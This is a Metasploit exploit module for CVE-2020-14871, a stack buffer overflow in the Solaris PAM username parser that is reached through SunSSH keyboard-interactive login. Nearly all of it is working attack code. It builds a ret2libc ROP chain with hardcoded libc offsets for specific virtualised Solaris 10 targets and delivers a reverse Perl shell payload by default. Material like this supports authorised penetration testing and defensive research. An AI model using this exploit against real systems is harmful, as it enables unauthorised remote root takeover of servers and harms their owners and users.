Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in the Solaris PAM
          library's username parsing code, as used by the SunSSH daemon when the
          keyboard-interactive authentication method is specified.

          Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
          VMware Fusion, and VMware Player. Bare metal untested. Your addresses
          may vary.
        },
        'Author' => [
          'Jacob Thompson', # Analysis
          'Aaron Carreras', # Analysis
          'Jeffrey Martin', # Testing
          'Hacker Fantastic', # PoC
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2020-14871'],
          ['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],
          ['URL', 'https://hacker.house/lab/cve-2020-18471/'],
          ['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']
        ],
        'DisclosureDate' => '2020-10-20', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          # https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617
          'BadChars' => "\x00\x09\x20",
          'Encoder' => 'cmd/perl'
        },
        'Targets' => [
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb90000
            }
          ],
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb80000
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_perl',
          'SSH_TIMEOUT' => 2,
          'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    # Run auxiliary/scanner/ssh/ssh_version
    checkcode = super

    return checkcode unless checkcode == CheckCode::Detected

    unless target['Ident'] == checkcode.details[:ident]
      return CheckCode::Safe("#{target.name} is an incompatible target.")
    end

    CheckCode::Appears("#{target.name} is a compatible target.")
  end

  def exploit
    print_status("Exploiting #{target.name}")

    ssh_client_opts = ssh_client_defaults.merge(
      port: rport,
      auth_methods: ['keyboard-interactive'],
      password: ret2libc, # HACK: This is really the username prompt on Solaris
      timeout: datastore['SSH_TIMEOUT']
    )

    ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")

    # Empty initial username
    Net::SSH.start(rhost, '', ssh_client_opts)
  rescue Net::SSH::AuthenticationFailed
    print_error(CheckCode::Safe.message)
  rescue Net::SSH::Disconnect
    print_warning('Disconnected, target selection may be incorrect!')
  rescue Net::SSH::ConnectionTimeout
    # Do nothing on success
  end

  # XXX: No ASLR, but libc base changes...
  def ret2libc
    buf = rand_text(516)
    buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret
    buf << rand_text(4)
    buf << p32(0x08040101) # ecx
    buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret
    buf << p32(target['LibcBase'] + 0x256d0) # exit(3)
    buf << p32(target['LibcBase'] + 0x91edf) # system(3)
    buf << rand_text(4)
    buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret
    buf << payload.encoded
  end

  def p32(addr)
    [addr].pack('V')
  end

end